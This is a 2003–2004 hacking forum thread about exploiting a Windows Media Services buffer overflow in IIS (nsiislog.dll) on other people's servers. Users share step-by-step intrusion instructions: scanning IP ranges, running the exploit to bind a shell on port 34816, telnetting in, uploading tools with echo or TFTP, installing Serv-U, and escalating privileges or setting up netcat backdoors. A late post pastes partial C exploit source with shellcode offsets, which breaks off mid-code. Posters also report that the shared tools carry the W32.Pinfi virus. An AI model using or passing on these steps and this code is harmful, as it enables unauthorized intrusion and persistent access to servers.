I have a question about the IIS media hack. When I try this hack I use the exploit and I get a server exploited return message. So then the hack involves telnetting to the target pc. However...I tried quiete a few computers but i get connection failed when i try to telnet. Anything I'm doing wrong...thx!
woutiir
Aug 1 2003, 08:53 PM
I'm not experienced with this exploit but one thing that might give this same error is a firewall, just try and test it at a server you own, will make things clearer taht the error lies within you or the exploit...
Greetings, woutiir
vnet576
Aug 1 2003, 08:58 PM
Thx...but I don't use a firewall.
X-Raided
Aug 1 2003, 09:57 PM
What port are you telneting into?
vnet576
Aug 1 2003, 09:58 PM
34816
woutiir
Aug 1 2003, 11:41 PM
Not you, maybe the victim/target is using a firewall
woutiir
GSecur
Aug 1 2003, 11:58 PM
vnet576, give us a bit more information on the exploit, what tool used if any, code source if any.
I'll then test it out on one of the machines I have here and tell you what I find.
vnet576
Aug 2 2003, 01:08 AM
OK...guess I should've done that in the very begining to make it easier. Here I included the exploit...explanation..and scanner for it in a zip file.
GSecur
Aug 2 2003, 01:21 AM
There you go vnet576 Now I can check it out and see what I can do.
rayden5_
Aug 2 2003, 09:08 AM
Hi,
in my case i first get a Warning frm my AntiVirus Software, scan500 is infected with w32.Pinfi ?! Maybe false-Alarm but maybe u just got some trojans there ?
So I Cant test since my Anticvirus immideatlly deletes the file all the time, and i dont want to risk anything on my machine
Ray
woutiir
Aug 2 2003, 10:20 AM
QUOTE
Use This Command : ASD FOUNDIP 34816( it wil say something like host exploited ) Now Try Connecting To This IP .. using TelNet with this command in MSDOS ( telnet FOUNDIP 34816 ) if Dos Says ( cant connect .. U cant hack Your Scan )
Hmmm, dunno if this adds something to your question, might be a an explanation.. Otherside of the storry, if you tried it on different computers there must be one vulnerable, or just have the 'luck' that they were all patched and or just not vulnerable
P.S. i didn't check it out for my self yet, i'll do soon and post it
Gr. woutiir
vnet576
Aug 2 2003, 04:06 PM
woutiir...I tried alot of computers...~50 by now. I'll keep trying on other vulnerable pcs and if someone figures out whats wrong with the exploit lemme know.
Anyway..thanks guys for trying to help me with this. There aren't really that many security forums on the net these days where the members would actually bother to try out the exploit and see if they could help. Plus theres so much usefull info in all the sections...so I'm gonna stick around in this forum and contribute & learn as much as I can.
GSecur
Aug 2 2003, 05:50 PM
Hmm , I'm having a bit of trouble here, I am running the exploit against a windows 2000 server completly unpatched. But scan500 does not pick it up as vulnerable.
What ver of Media player is vulnerable. If someone has the MS_knowledge base ID that would be great.
vnet576
Aug 2 2003, 06:18 PM
I'm going through their knowledge base and I think it might be this one...although I'm not sure.
So far I haven't had any luck. Both using windows 2000 server with no service pack as well as windows 2000 SP2.
I'll keep you posted if I figure it out.
Black_hat
Aug 3 2003, 07:20 PM
I test it ! Nice Security Hole !!!
Black_hat
Aug 7 2003, 07:39 PM
!!!!!!! Hey scan500.exe infected by virus and All My eXe files Infected bY thiS !!! Please remove this !!! is infected with the W32.Pinfi virus.
It's good tools but i don't like virus ! For more detail of this virus visit : http://securityresponse.symantec.com/avcenter/venc/data/w32.pinfi.html
W32.Pinfi is a memory-resident polymorphic virus that will infect the .EXE and .SCR files. This virus can also spread via mapped drives and network shares.
holy shit...so this is where i got that virus from. I am infected with the exact same virus right now.
HA! Now I know who gave it to me. Sorry that I indavertently spread the virus to u Black_Hat. It was not intentional and I only found out that my pc was infected yesturday.
p3nGu1n
Aug 10 2003, 03:15 AM
QUOTE (vnet576 @ Aug 7 2003, 08:39 PM)
holy shit...so this is where i got that virus from. I am infected with the exact same virus right now.
HA! Now I know who gave it to me. Sorry that I indavertently spread the virus to u Black_Hat. It was not intentional and I only found out that my pc was infected yesturday.
you may not have been infected by this file. the virus may have infected it from some other file...
GSecur
Aug 10 2003, 01:26 PM
Are you guys sure about that? I have been scanning this stuff and it's been coming back negative. I'll keep checking though.
eus
Aug 10 2003, 01:56 PM
You must love NAV :/
Event: Virus Found! Virus name: W32.Pinfi File: C:\Documents and Settings\kd\Bureau\IIS_Media\asd.exe Location: C:\Documents and Settings\kd\Bureau\IIS_Media Computer: KARL User: kd Action taken: Clean succeeded : Access allowed
Scan type: Realtime Protection Scan Event: Virus Found! Virus name: W32.Pinfi File: C:\Documents and Settings\kd\Bureau\IIS_Media\scan500.exe Location: C:\Documents and Settings\kd\Bureau\IIS_Media Computer: KARL User: kd Action taken: Clean succeeded : Access allowed Date found: Sun Aug 10 09:56:01 2003
Just hoping it'll work...
GSecur
Aug 10 2003, 02:05 PM
Alright guys I'll pull it off and re attach a clean version.
axora
Aug 10 2003, 03:22 PM
This shit IS infected! Took me an hour to remove the virus crap from my pc.
Disable System Restore (Windows Me/XP). Update the virus definitions. Restart the computer in Safe mode (Windows 95/98/Me/2000/XP) of VGA mode (Windows NT). Run a full system scan and repair all the files detected as W32.Pinfi.
HaKaZoR
Aug 11 2003, 03:26 PM
Thanks a lot for this Exploit It 's great !! But i can't install serv-u in service (to restart with the pc). I have not the permission to do that. anybody have a solution ?
forums.governmentsecurity.org it's the greatest forum i have seen. big big thanks !!!
spawn543
Aug 11 2003, 03:49 PM
QUOTE (HaKaZoR @ Aug 11 2003, 03:26 PM)
Thanks a lot for this Exploit It 's great !! But i can't install serv-u in service (to restart with the pc). I have not the permission to do that. anybody have a solution ?
forums.governmentsecurity.org it's the greatest forum i have seen. big big thanks !!!
yea id like to know that too hehe
dissolutions
Aug 13 2003, 12:26 AM
QUOTE (vnet576 @ Aug 7 2003, 01:39 PM)
holy sh*t...so this is where i got that virus from. I am infected with the exact same virus right now.
HA! Now I know who gave it to me. Sorry that I indavertently spread the virus to u Black_Hat. It was not intentional and I only found out that my pc was infected yesturday.
rotfl thats funny that definately put a smile on my face.
It's a very common thing actually with "hackers tools" as alot of them come up as viruses in the first place... but a good way of preventing it is to download from reputable sources. like http://www.securityfocus.com for example and make sure to scan and read the code.
lololol kinda funny still i guess no harm no foul.
PSR
Aug 13 2003, 07:00 AM
QUOTE (HaKaZoR @ Aug 11 2003, 03:26 PM)
Thanks a lot for this Exploit It 's great !! But i can't install serv-u in service (to restart with the pc). I have not the permission to do that. anybody have a solution ?
forums.governmentsecurity.org it's the greatest forum i have seen. big big thanks !!!
yea you do have the right just not in the sys32 folder cause you aint got root access thats the problem with this exploit , you dont get root access.
viking
Aug 14 2003, 04:04 PM
Maby a stupid question but with what proggie and how can I scan for iismedia?
flap
Aug 15 2003, 12:21 PM
i think ure just having bad luck.... if i check 50 results of media servers i will only get 2 succesfull hacks... so i guess the number of hackables with the media sploit isnt very high. (maybe a lot of em are already patched)
dperuski
Aug 15 2003, 03:58 PM
QUOTE (vnet576 @ Aug 2 2003, 01:08 AM)
OK...guess I should've done that in the very begining to make it easier. Here I included the exploit...explanation..and scanner for it in a zip file.
Patched a system here, but finding that port open for Telnet locally still. Is that information still available? Maybe that latest worm patch isn't enough?
I appreciate any help.
vnet576
Aug 15 2003, 03:59 PM
here is the information...but I deleted the exploit and the scanner since it was infected:
1. now upload scan500 to your scan stro and use this command site exec scan500 -media StartIP EndIP.. if scan500 finds any results it will create a .txt file ( forgot the name )
2. Open This .Txt which scan500 has created .. Unzip And Start ASD In MSDOS Use This Command : ASD FOUNDIP 34816( it wil say something like host exploited ) Now Try Connecting To This IP .. using TelNet with this command in MSDOS ( telnet FOUNDIP 34816 ) if Dos Says ( cant connect .. U cant hack Your Scan ) If Dos Says --> cwinnt\system32, than typ cd\ <enter> than typ cd inetpub\scripts\ <enter> now you can up the files because you can't up to winnt\system32\ in MEDIA Use The Echo Or TFTP Command To Upload Your files and execute them ..
DaMan
Aug 16 2003, 07:24 AM
is it possible to have a new version virus free??? thanks for da compiler
haensy
Aug 16 2003, 08:36 AM
where can i download scan500 ?
flashlord
Sep 21 2003, 07:12 PM
1. is it possible to get admin rights??
2. is it possible to secure the server remotly(after uploading the files)
speedwiz
Sep 23 2003, 09:59 PM
I have the same problem , I can't have admin right so I can't do a service. If anybody have a solution I'm very interested...
bboybojo
Sep 26 2003, 05:56 PM
i can get all files up, but i cant install a service, or create accounts. SOMEone please help!
big_black
Dec 14 2003, 06:39 AM
can some one give me a link on how to iis exploit thx
Andy
Dec 14 2003, 07:35 AM
if you type whoami u'll find yourself as IWAM_COMPUTERNAME meaning no administrator priviledge. thus u can't touch anything in the registry so no services can be installed unless u elevate your priviledges
Xion
Dec 14 2003, 11:02 AM
Do you find admin right ??
SyN/AcK
Jan 18 2004, 09:41 AM
I know this one is old, but I got it to work using the ASD exploit. I don't know about the virii though... guess that's just how stuff goes sometimes.
cougar
Jan 29 2004, 02:33 PM
Can someone plz post the echo commands for it. I can't get tftp working.
x420
Feb 7 2004, 04:33 PM
hey, would anyone care to send me a copy of the scan500 exe..
gwsphinx@hotmail.com
much appreciated
fre4k
Feb 7 2004, 05:01 PM
QUOTE
hey, would anyone care to send me a copy of the scan500 exe..
gwsphinx@hotmail.com
much appreciated
Check your e-mail
Have Fun
-fre4k
nubela
Feb 9 2004, 04:49 AM
since its just user privilege, how do ya set up a backdoor?
maybe? set up nc on it, and make it load cmd shell again? but will this shell has admin rights?
DerangeD
Feb 9 2004, 09:34 AM
no a cmd started by nc has the same privelege as the user that started netcat
in this case still no admin
nubela
Feb 9 2004, 12:49 PM
oic. hmm.. then maybe i could send a modded serv-u o`er, start it in that folder, den use it to access c:\windows\system32 den site exec? works this way?
s0nar
Feb 9 2004, 02:10 PM
after u have gotten into the IIS user via the media exploit, upload and run a local overflow or other root/admin/system yielding exploit
setthesun
Feb 14 2004, 08:47 AM
BTW If you need source code (and I think it's good idea );
CODE
// Windows Media Services Remote Command Execution #2 // v. 1.0 beta // (c) firew0rker //tN [The N0b0D1eS]
const DWORD default_EIP_pos = 9992; //положение EIP в буфере (sploit) const DWORD default_EBX_points_to = 9988; //ук з тель в EBX относительно sploit //const DWORD default_EIP_value = 0x77F8441B; //по этому др. д.б. JMP EDX, в д нном случ е это в ntdll.dll const DWORD default_EIP_value = 0x40F01333; //const default_EDX_points_to = 0x1000; //это не пригодилось char *nsiislog_default = "/scripts/nsiislog.dll"; char sploit[default_EIP_pos+4+sizeof(shellcode)+1]; char sploitbuf[sizeof(sploit)*2];
void usage(char* argv[]) { printf("Dicklamer (: " "Authors and distributors of this software are not responsible for the misuse or illegal use of this software.\n" "Description: testing Windows Media Services for buffer overflow vulnerability (Remote Command Execution #2). Binds shell to port 34816 (or higher if port busy).\n" "Usage: " "%s target [-p target_port] [-r /renamed_scripts/renamed_nsiislog.dll]\n" "Supported target(s):\n" "Windows version\t\t\t\tnsiislog.dll version\n" "------------------------------------------------------------\n" "2000 [5.00.2195] server rus.\t\t4.1.0.3917\n", argv[0]); exit(0); }
int main(int argc, char* argv[]) { #ifdef WIN32 WSADATA wsaData; #endif int target_port = 80; char *nsiislog = nsiislog_default; int nArgIndex;
if (argc<2) usage(argv); nArgIndex = 1; while ((nArgIndex < argc)&&(strlen(argv[nArgIndex])>=2)&&(argv[nArgIndex][0]=='-')) { switch (argv[nArgIndex++][1]) { case 'p': case 'P': target_port = atoi(argv[nArgIndex++]); continue; case 'r': case 'R': nsiislog = argv[nArgIndex++]; continue; default: usage(argv); } }
try { #ifdef WIN32 WSAStartup(0x0101, &wsaData); #endif SOCKET s = socket(AF_INET,SOCK_STREAM,0); if (s == INVALID_SOCKET) throw("No socket"); sockaddr_in addr;
//Žпределяем дрес серв к ULONG iaddr = inet_addr(argv[1]); if (iaddr == INADDR_NONE) {//Адрес - имя серв к hostent *ph = gethostbyname(argv[1]); if (!ph) throw("Cant resolve hostname"); memcpy(&addr.sin_addr.s_addr,ph->h_addr_list[0],sizeof(in_addr)); } else {//Адрес - IP memcpy(&addr.sin_addr.s_addr,&iaddr,4); };
addr.sin_family = AF_INET; addr.sin_port = htons(target_port); int sizeofaddr=sizeof(addr);
char *req = "MX_STATS_LogLine: "; strcpy(sploit, req); memset(sploit+strlen(sploit), 0xCC, default_EIP_pos-strlen(req)); //memcpy(sploit+default_EDX_points_to, shellcode, sizeof(shellcode)-1/*убр ть \0*/); memcpy(sploit+default_EBX_points_to-(sizeof(shellcode)-1)+4, shellcode, sizeof(shellcode)-1/*убр ть \0*/); //при переходе н EIP, EBX будет ук зыв ть н последний DWORD н шего з прос , где JZ/JNZ memcpy(sploit+default_EIP_pos, &default_EIP_value, sizeof default_EIP_value);
)
can some one give me a link on how to iis exploit thx
